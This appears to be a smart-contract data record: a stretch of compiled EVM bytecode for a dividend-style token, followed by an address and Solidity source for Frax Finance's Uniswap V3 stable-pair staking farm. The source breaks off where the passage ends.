fffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061138782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156114c757600080fd5b6114f36006543073ffffffffffffffffffffffffffffffffffffffff16316131ad90919063ffffffff16565b91506115ab600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159d60055461158f6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876131c990919063ffffffff16565b61320190919063ffffffff16565b61319490919063ffffffff16565b9050600081141515156115bd57600080fd5b803073ffffffffffffffffffffffffffffffffffffffff1631101515156115e357600080fd5b61163581600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168d816006546131ad90919063ffffffff16565b6006819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116d9573d6000803e3d6000fd5b50505050565b600081565b60055481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561178257600080fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117db57600080fd5b60088190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118fa57600080fd5b600360149054906101000a900460ff1615151561191657600080fd5b61192b826001546131ad90919063ffffffff16565b600181905550611982826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae057600080fd5b8282905085859050141515611af457600080fd5b600085859050111515611b0657600080fd5b600090505b84849050811015611b6b57611b5e8585838181101515611b2757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168484848181101515611b5257fe5b90506020020135610ec9565b8080600101915050611b0b565b5050505050565b600080600080859250611ca2600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611c5957600080fd5b505af1158015611c6d573d6000803e3d6000fd5b505050506040513d6020811015611c8357600080fd5b81019080805190602001909291905050506131ad90919063ffffffff16565b9150611d97600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d89600554611d7b6000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876131c990919063ffffffff16565b61320190919063ffffffff16565b61319490919063ffffffff16565b905080935050505092915050565b60076020528060005260406000206000915090505481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515611ecf576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f63565b611ee2838261319490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121fa57600080fd5b600360149054906101000a900460ff1615151561221657600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600a6020528060005260406000206000915090505481565b60088181548110151561228b57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561233c57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61238933612f10565b565b6040805190810160405280600381526020017f5a5552000000000000000000000000000000000000000000000000000000000081525081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561242057600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561247857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1660088261ffff168154811015156124a257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156124ef57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb838473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156125a757600080fd5b505af11580156125bb573d6000803e3d6000fd5b505050506040513d60208110156125d157600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561266757600080fd5b505af115801561267b573d6000803e3d6000fd5b505050506040513d602081101561269157600080fd5b81019080805190602001909291905050505060086001600880549050038154811015156126ba57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088261ffff168154811015156126f857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860016008805490500381548110151561275757fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600880548091906001900361279991906139f7565b505050565b6000808373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156127dc57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506128278484613217565b151561283257600080fd5b61283e33858584613437565b600191505092915050565b60065481565b61285833611477565b565b60008060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156128aa57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561290257600080fd5b61290c8484611b72565b9150600082141561291c57612c87565b839050818173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156129bb57600080fd5b505af11580156129cf573d6000803e3d6000fd5b505050506040513d60208110156129e557600080fd5b810190808051906020019092919050505010151515612a0357600080fd5b612a9282600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b6482600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612c4a57600080fd5b505af1158015612c5e573d6000803e3d6000fd5b505050506040513d6020811015612c7457600080fd5b8101908080519060200190929190505050505b50505050565b6000612d1e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515612f5e57600080fd5b600090505b6008805490508161ffff161015612fc857612fbb60088261ffff16815481101515612f8a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361285a565b8080600101915050612f63565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561302857600080fd5b613031816138fb565b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130d657600080fd5b600360149054906101000a900460ff161515156130f257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561315657600080fd5b505af115801561316a573d6000803e3d6000fd5b505050506040513d602081101561318057600080fd5b810190808051906020019092919050505050565b60008282111515156131a257fe5b818303905092915050565b600081830190508281101515156131c057fe5b80905092915050565b6000808314156131dc57600090506131fb565b81830290508183828115156131ed57fe5b041415156131f757fe5b8090505b92915050565b6000818381151561320e57fe5b04905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561326657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156132a257600080fd5b6132f3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613386826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000806000806134a18561349388600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c990919063ffffffff16565b61320190919063ffffffff16565b93506134f584600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061358a84600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600092505b6008805490508361ffff1610156138f15760088361ffff168154811015156135f657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506136c4856136b688600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c990919063ffffffff16565b61320190919063ffffffff16565b905061375581600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061386481600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082806001019350506135d2565b5050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561393757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b815481835581811115613a1e57818360005260206000209182019101613a1d9190613a23565b5b505050565b613a4591905b80821115613a41576000816000905550600101613a29565b5090565b905600a165627a7a72305820c3a6410e0a9760f49dbd84af97ce03ddbda8c85376ac1371a5b0bfbf712eb4970029
[ 16, 7, 9, 5 ]
0xF22471AC2156B489CC4a59092c56713F813ff53e
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; import "../FraxUniV3Farm_Stable.sol"; contract FraxUniV3Farm_Stable_FRAX_DAI is FraxUniV3Farm_Stable { constructor( address _owner, address _lp_pool_address, address _timelock_address, address _rewards_distributor_address, int24 _uni_tick_lower, int24 _uni_tick_upper, int24 _uni_ideal_tick ) FraxUniV3Farm_Stable(_owner, _lp_pool_address, _timelock_address, _rewards_distributor_address, _uni_tick_lower, _uni_tick_upper, _uni_ideal_tick) {} } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // =========================== FraxUniV3Farm_Stable ========================== // ==================================================================== // Migratable Farming contract that accounts for veFXS and UniswapV3 NFTs // Only one possible reward token here (usually FXS), to cut gas costs // Also, because of the nonfungible nature, and to reduce gas, unlocked staking was removed // You can lock for as short as 1 day now, which is de-facto an unlocked stake // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // github.com/denett // Sam Sun: https://github.com/samczsun // Originally inspired by Synthetix.io, but heavily modified by the Frax team // (Locked, veFXS, and UniV3 portions are new) // https://raw.githubusercontent.com/Synthetixio/synthetix/develop/contracts/StakingRewards.sol import "../Math/Math.sol"; import "../Math/SafeMath.sol"; import "../Curve/IveFXS.sol"; import "../Curve/IFraxGaugeController.sol"; import "../Curve/FraxGaugeFXSRewardsDistributor.sol"; import "../ERC20/ERC20.sol"; import '../Uniswap/TransferHelper.sol'; import "../ERC20/SafeERC20.sol"; import "../Uniswap_V3/libraries/TickMath.sol"; import "../Uniswap_V3/libraries/LiquidityAmounts.sol"; import "../Uniswap_V3/IUniswapV3PositionsNFT.sol"; import "../Uniswap_V3/IUniswapV3Pool.sol"; import "../Utils/ReentrancyGuard.sol"; import "./Owned.sol"; contract FraxUniV3Farm_Stable is Owned, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances IveFXS private veFXS = IveFXS(0xc8418aF6358FFddA74e09Ca9CC3Fe03Ca6aDC5b0); ERC20 private rewardsToken0 = ERC20(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0); IFraxGaugeController public gauge_controller; FraxGaugeFXSRewardsDistributor public rewards_distributor; IUniswapV3PositionsNFT private stakingTokenNFT = IUniswapV3PositionsNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); // UniV3 uses an NFT IUniswapV3Pool public lp_pool; // Admin addresses address public timelock_address; address public curator_address; // Constant for various precisions uint256 private constant MULTIPLIER_PRECISION = 1e18; int256 private constant EMISSION_FACTOR_PRECISION = 1e18; // Reward and period related uint256 private periodFinish; uint256 private lastUpdateTime; uint256 public reward_rate_manual; uint256 public rewardsDuration = 604800; // 7 * 86400 (7 days) // Lock time and multiplier settings uint256 public lock_max_multiplier = uint256(3e18); // E18. 1x = 1e18 uint256 public lock_time_for_max_multiplier = 3 * 365 * 86400; // 3 years uint256 public lock_time_min = 86400; // 1 * 86400 (1 day) // veFXS related uint256 public vefxs_per_frax_for_max_boost = uint256(4e18); // E18. 4e18 means 4 veFXS must be held by the staker per 1 FRAX uint256 public vefxs_max_multiplier = uint256(2e18); // E18. 1x = 1e18 mapping(address => uint256) private _vefxsMultiplierStored; // Uniswap V3 related int24 public uni_tick_lower; int24 public uni_tick_upper; int24 public ideal_tick; uint24 public uni_required_fee; address public uni_token0; address public uni_token1; uint32 public twap_duration = 300; // 5 minutes bool public frax_is_token0 = false; // Rewards tracking uint256 private rewardPerTokenStored0; mapping(address => uint256) private userRewardPerTokenPaid0; mapping(address => uint256) private rewards0; uint256 private last_gauge_relative_weight; uint256 private last_gauge_time_total; // Balance, stake, and weight tracking uint256 private _total_liquidity_locked; uint256 private _total_combined_weight; mapping(address => uint256) private _locked_liquidity; mapping(address => uint256) private _combined_weights; mapping(address => LockedNFT[]) private lockedNFTs; // List of valid migrators (set by governance) mapping(address => bool) private valid_migrators; address[] private valid_migrators_array; // Stakers set which migrator(s) they want to use mapping(address => mapping(address => bool)) private staker_allowed_migrators; // Greylists mapping(address => bool) private greylist; // Admin booleans for emergencies, migrations, and overrides bool public bypassEmissionFactor; bool public migrationsOn; // Used for migrations. Prevents new stakes, but allows LP and reward withdrawals bool public stakesUnlocked; // Release locked stakes in case of system migration or emergency bool public stakingPaused; bool public withdrawalsPaused; bool public rewardsCollectionPaused; // Struct for the stake struct LockedNFT { uint256 token_id; // for Uniswap V3 LPs uint256 liquidity; uint256 start_timestamp; uint256 ending_timestamp; uint256 lock_multiplier; // 6 decimals of precision. 1x = 1000000 int24 tick_lower; int24 tick_upper; } /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier onlyByOwnerOrCuratorOrGovernance() { require(msg.sender == owner || msg.sender == curator_address || msg.sender == timelock_address, "Not owner, curator, or timelock"); _; } modifier isMigrating() { require(migrationsOn == true, "Not in migration"); _; } modifier updateRewardAndBalance(address account, bool sync_too) { _updateRewardAndBalance(account, sync_too); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _lp_pool_address, address _timelock_address, address _rewards_distributor_address, int24 _uni_tick_lower, int24 _uni_tick_upper, int24 _uni_ideal_tick ) Owned(_owner) { rewards_distributor = FraxGaugeFXSRewardsDistributor(_rewards_distributor_address); lp_pool = IUniswapV3Pool(_lp_pool_address); // call getPool(token0, token1, fee) on the Uniswap V3 Factory (0x1F98431c8aD98523631AE4a59f267346ea31F984) to get this otherwise timelock_address = _timelock_address; // Set the UniV3 addresses uni_token0 = lp_pool.token0(); uni_token1 = lp_pool.token1(); // Check where FRAX is if (uni_token0 == 0x853d955aCEf822Db058eb8505911ED77F175b99e) frax_is_token0 = true; // Fee, Tick, and Liquidity related uni_required_fee = lp_pool.fee(); uni_tick_lower = _uni_tick_lower; uni_tick_upper = _uni_tick_upper; // Closest tick to 1 ideal_tick = _uni_ideal_tick; // Manual reward rate reward_rate_manual = 0; // (uint256(365e17)).div(365 * 86400); // 0.1 FXS per day // Initialize lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); } /* ========== VIEWS ========== */ // User locked liquidity tokens function totalLiquidityLocked() external view returns (uint256) { return _total_liquidity_locked; } // Total locked liquidity tokens function lockedLiquidityOf(address account) external view returns (uint256) { return _locked_liquidity[account]; } // Total 'balance' used for calculating the percent of the pool the account owns // Takes into account the locked stake time multiplier and veFXS multiplier function combinedWeightOf(address account) external view returns (uint256) { return _combined_weights[account]; } // Total combined weight function totalCombinedWeight() external view returns (uint256) { return _total_combined_weight; } function lockMultiplier(uint256 secs) public view returns (uint256) { uint256 lock_multiplier = uint256(MULTIPLIER_PRECISION).add( secs.mul(lock_max_multiplier.sub(MULTIPLIER_PRECISION)).div( lock_time_for_max_multiplier ) ); if (lock_multiplier > lock_max_multiplier) lock_multiplier = lock_max_multiplier; return lock_multiplier; } function userStakedFrax(address account) public view returns (uint256) { uint256 frax_tally = 0; LockedNFT memory thisNFT; for (uint256 i = 0; i < lockedNFTs[account].length; i++) { thisNFT = lockedNFTs[account][i]; uint256 this_liq = thisNFT.liquidity; if (this_liq > 0){ uint160 sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(thisNFT.tick_lower); uint160 sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(thisNFT.tick_upper); if (frax_is_token0){ frax_tally = frax_tally.add(LiquidityAmounts.getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, uint128(thisNFT.liquidity))); } else { frax_tally = frax_tally.add(LiquidityAmounts.getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, uint128(thisNFT.liquidity))); } } } // In order to avoid excessive gas calculations and the input tokens ratios. 50% FRAX is assumed // If this were Uni V2, it would be akin to reserve0 & reserve1 math // There may be a more accurate way to calculate the above... return frax_tally.div(2); } // Will return MULTIPLIER_PRECISION if the pool is balanced, a smaller fraction if between the ticks, // and zero outside of the ticks function emissionFactor() public view returns (uint256 emission_factor){ // If the bypass is turned on, return 1x if (bypassEmissionFactor) return MULTIPLIER_PRECISION; // From https://github.com/charmfinance/alpha-vaults-contracts/blob/main/contracts/AlphaStrategy.sol uint32[] memory secondsAgo = new uint32[](2); secondsAgo[0] = uint32(twap_duration); secondsAgo[1] = 0; // Make sure observationCardinalityNext has enough points on the lp_pool first // Otherwise, any observation greater then 0 will return 0 values (int56[] memory tickCumulatives, ) = lp_pool.observe(secondsAgo); int24 avg_tick = int24((tickCumulatives[1] - tickCumulatives[0]) / int32(twap_duration)); // Return 0 if out of bounds (de-pegged) if (avg_tick <= uni_tick_lower) return 0; if (avg_tick >= uni_tick_upper) return 0; // Price = (1e18 / 1e6) * 1.0001^(tick) // Tick = Math.Floor(Log[base 1.0001] of (price / (10 ** decimal difference))) // Unsafe math, but there is a safety check later int256 em_factor_int256; if (avg_tick <= ideal_tick){ em_factor_int256 = (EMISSION_FACTOR_PRECISION * (avg_tick - uni_tick_lower)) / (ideal_tick - uni_tick_lower); } else { em_factor_int256 = (EMISSION_FACTOR_PRECISION * (uni_tick_upper - avg_tick)) / (uni_tick_upper - ideal_tick); } // Check for negatives if (em_factor_int256 < 0) emission_factor = uint256(-1 * em_factor_int256); else emission_factor = uint256(em_factor_int256); // Sanity checks require(emission_factor <= MULTIPLIER_PRECISION, "Emission factor too high"); require(emission_factor >= 0, "Emission factor too low"); } function minVeFXSForMaxBoost(address account) public view returns (uint256) { return (userStakedFrax(account)).mul(vefxs_per_frax_for_max_boost).div(MULTIPLIER_PRECISION); } function veFXSMultiplier(address account) public view returns (uint256) { // The claimer gets a boost depending on amount of veFXS they have relative to the amount of FRAX 'inside' // of their locked LP tokens uint256 veFXS_needed_for_max_boost = minVeFXSForMaxBoost(account); if (veFXS_needed_for_max_boost > 0){ uint256 user_vefxs_fraction = (veFXS.balanceOf(account)).mul(MULTIPLIER_PRECISION).div(veFXS_needed_for_max_boost); uint256 vefxs_multiplier = ((user_vefxs_fraction).mul(vefxs_max_multiplier)).div(MULTIPLIER_PRECISION); // Cap the boost to the vefxs_max_multiplier if (vefxs_multiplier > vefxs_max_multiplier) vefxs_multiplier = vefxs_max_multiplier; return vefxs_multiplier; } else return 0; // This will happen with the first stake, when user_staked_frax is 0 } function checkUniV3NFT(uint256 token_id, bool fail_if_false) 